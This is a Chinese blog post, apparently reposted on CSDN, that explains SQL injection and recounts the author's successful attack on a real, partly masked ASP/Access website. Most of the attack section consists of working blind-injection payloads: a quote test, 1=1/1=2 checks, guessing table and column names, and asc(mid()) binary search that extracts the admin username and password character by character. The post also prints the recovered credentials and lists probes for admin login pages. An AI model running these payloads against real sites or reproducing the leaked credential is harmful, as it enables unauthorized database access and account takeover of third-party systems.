sql注入原理和过程

转载 2007年09月27日 15:16:00
 记得前一个月左右,记得那是刚来中心不久,和kevin想学怎么进行sql注入。看了JHACKJ超级入侵教程中的sql入侵的视频,还去bbs.14023.com下载了流光、nbsi2.0、wed、wis,想模仿着进行,无奈一直没有成功。呵呵,可以说那个时候是水平不行,只会依葫芦画瓢,仅仅用用工具,不是很明白sql注入的原理。
    今天下午4点左右开始,一直到晚上8点,又和kevin一起,终于对一个网站实现的sql注入,获得了它的管理员用户名和密码,可惜一直没有找到管理员的后台登陆地址,用了nbsi2.0也没有找出来,可惜中^_^^_^^_^
    在这里先说说sql注入的原理,然后介绍我们的入侵过程。在此只是跟大家交流学习,请勿将其用做破坏行为,由此产生的后果自负。


一、sql注入原理
    程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
    受影响的系统:对输入的参数不进行检查和过滤的系统。


二、sql注入过程

1.找到链接
我找的链接是:http://www.***.com/main_weblist.asp?key_city=1
其实,类似http://hostname/***.asp?id=*的网页都可能有sql漏洞。

2.测试
(1)在末尾加'
http://www.***.com/main_weblist.asp?key_city=1'
结果如下:
-----------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在查询表达式 'web_key=1 and web_city=1'' 中。
/main_weblist.asp,行129
-----------------------------------------------------------
该信息说明:后台数据库是access。
(2)在末尾加;
http://www.***.com/main_weblist.asp?key_city=1;
结果如下:
-----------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'
ODBC 驱动程序不支持所需的属性。
/main_weblist.asp,行140
-----------------------------------------------------------
(3)在末尾加 and 1=2 和 and 1=1
前者返回信息:该栏目无内容,将返回上一页;
后者正常返回;

由此说明该网站一定存在sql注入漏洞,有很大把握可以拿到管理员的用户名和密码。

3.猜管理员帐号表
在末尾加上: and exists (select * from admin)
注意and前面有一个空格。
我们的意思是猜测他有个admin表段
呵呵,页面返回正常,我们猜对了。当然也可能错误返回,这时就要看猜测的本事了。

4.猜测管理员表表中的字段
我们再来猜他的管理员表中是否有一个ID段,
在末尾加上: and exists (select id from admin)
OK,页面返回正常,说明他的admin表中有个id的字段;
我们继续: and exists (select username from admin)
这里的意思是看看他的admin表中是否有username字段,
页面返回正常,说明在admin中有一个username字段;
我们继续猜他放密码的字段: and exists (select password from admin)
返回正常的页面,说明他的admin表中有个password字段。
好了,到此可以知道admin表中至少有如下三个字段:id,username,password,这各命名方式与普通程序员的命名方法一致。

5.猜测用户名和密码的长度
为了下面方便进行,首先猜他的管理员的id值:
 and exists (select id from admin where id=1)
意思是看看他的admin表中是否有一个id=1的值,
OK,返回了正常的页面,说明我们猜对了。
好了,接着猜ID为1的用户名长度:
 and exists (select id from admin where len(username)<6 and id=1)
这里我们猜他的管理员长度小于6,呵呵,返回了正常的页面,还好,名字不是太长,
我们一个个来实验好了,直到:
 and exists (select id from admin where len(username)=5 and id=1)
返回了正常的页面,说明用户名的长度我们已经猜出了为5。
用同样的方法,我们猜出了密码的长度是10,要添加的语句是:
 and exists (select id from admin where len(password)<10 and id=1)
到此,用户名和密码的长度都已经猜出来了,下面要做的是猜出它们的每一位分别是多少。

6.猜测用户名
方法是,在后面加上:
 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))<100)
其中,asc函数的功能是将字符转换成ASCII码,mid函数的功能是截取username字段值的字串,从第1位开始,截取的长度是1。
我们这里做的意思是,猜测他的用户名的第一个字的ascii码值小于100。
返回了正常页面,说明的确如我们所料,接着:
 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))<50)
返回错误信息,说明:50<=第一个字的ascii码值<100。接下来,我们用折半查找的思想:
 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))<75)
返回错误信息,继续,直到:
 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))=97)
返回正常页面,说明用户名的第一个字的ASCII码是97,查找ASCII表,知道它是a。
接下来我们猜测第二位:
 and 1=(select id from (select * from admin where id=1) where asc(mid(username,2,1))=100)
说明第二位的ASCII码是100,字符是d。
接下来我们猜测,很有可能用户名就是admin,因为它正好是五位。
为了证明我们的猜测,我们用如下方法测试:
 and 1=(select id from (select * from admin where id=1) where username='admin')
返回正常页面,太好了,我们猜对了,用户名就是admin。

7.猜测密码
接下来就是猜测密码了,方法和猜测用户名的一样,只能一位一位地试了,
这里就不一位一位列举了,还是用折半查找的思想,很快就能找到密码是SM8242825!
用以下语句验证一下:
 and 1=(select id from (select * from admin where id=1) where password='SM8242825!')
返回了正常页面!
好,到此为此我们已经找到了用户名和密码,分别是:admin SM8242825!。

8.猜测管理员入口地址
做了很多猜测,都未果,如下链接都不是登陆接口:
admin.asp,login.asp,admin-admin.asp,admin/login.asp等等
后来还用了nbsi2.0工具进行自动探测,也没有找到,这给我们留下了遗憾。
哪位朋友有好的工具或者方法,希望能相互交流。

 

SQL注入原理和过程

转载自:http://blog.csdn.net/lenhan12345/article/details/1803231  记得前一个月左右,记得那是刚来中心不久,和kevin想学怎么进行sql注入...
  • YTTCJJ
  • YTTCJJ
  • 2011年11月24日 19:44
  • 747

SQL注入攻击实现原理与攻击过程详解

SQL注入攻击实现原理与攻击过程详解     结构化查询语言(SQL)是一种用来和数据库交互的文本语言,SQL Injection就是利用某些数据库的外部接口把用户数据插入到实际的数据库操作语言当...

Sql Server tempdb原理-启动过程解析实践

Sql Server tempdb原理-启动过程解析实践 我们知道在SqlServer实例启动过程中数据库会进行还原(Redo,Undo)然后打开提供服务,但我们知道tempdb是不...

sql执行原理,过程详述

第一步:客户端把语句发给服务器端执行 第二步:语句解析 1. 查询高速缓存(librarycache)。 服务器收到提交的sql语句后并非直接执行,而是会先在数据库的高速缓存中去查找,是否存在相...

有关sql注入的详细过程

  • 2011年04月24日 21:15
  • 727KB
  • 下载

HiveSQL解析原理:包括SQL转化为MapReduce过程及MapReduce如何实现基本SQL操作

Hive是基于Hadoop的一个数据仓库系统,在各大公司都有广泛的应用。美团数据仓库也是基于Hive搭建,每天执行近万次的Hive ETL计算流程,负责每天数百GB的数据存储和分析。Hive的稳定性和...

血腥!实况转播SQL注入全过程,让你知道危害有多大。

前阵子发现公司的网站有SQL注入漏洞,向项目经理提了以后,得到的答复异常的冷淡:“早就知道,这种asp的网站肯定有漏洞,要是Asp.net的网站就没问题”,先暂不评价此说法对错,如此冷淡的反应只能说明...

SQL注入渗透某网络安全公司的网站全过程

前言:写这篇文章不是为了告诉大家如何去做入侵,而是希望提醒大家:“入侵是偶然的,但安全并不是必然的”,不要疏忽运作上的一些小细节。 笔者一直都有经常性地到一些安全方面的网站瞎逛的习惯的,最近因为一次...

一个PHP的SQL注入完整过程

学了SQL注入的一些技能后,以下正对PHP+MYSQL进行SQL注入的简单实践 首先观察两个MYSQL数据表 用户记录表: CREATE TABLE `php_user` ( ...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:sql注入原理和过程
举报原因:
原因补充:

(最多只允许输入30个字)